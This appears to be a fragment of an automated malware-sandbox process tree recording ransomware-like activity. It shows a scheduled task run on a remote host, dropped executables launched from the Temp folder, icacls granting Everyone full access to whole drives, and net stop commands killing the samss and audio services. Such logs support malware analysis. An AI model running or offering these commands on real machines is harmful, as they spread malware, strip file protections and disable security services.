C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /S 10.10.0.38 /Run /TN 2wjHUJm3⤵PID:7036
-
-
-
C:\Users\Admin\AppData\Local\Temp\CQPIdaNKblan.exe"C:\Users\Admin\AppData\Local\Temp\CQPIdaNKblan.exe" 8 LAN2⤵
- Executes dropped EXE
PID:212
-
-
C:\Users\Admin\AppData\Local\Temp\MCxUNeDehlan.exe"C:\Users\Admin\AppData\Local\Temp\MCxUNeDehlan.exe" 8 LAN2⤵
- Executes dropped EXE
PID:4436
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:4532
-
-
C:\Windows\SysWOW64\icacls.exeicacls "D:\*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:4544
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y2⤵
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "audioendpointbuilder" /y3⤵PID:4452
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y2⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "audioendpointbuilder" /y3⤵PID:4752
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "samss" /y2⤵
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "samss" /y3⤵PID:5036
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "samss" /y2⤵
- Suspicious use of WriteProcessMemory
PID:5012 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "samss" /y3⤵PID:5108
-
-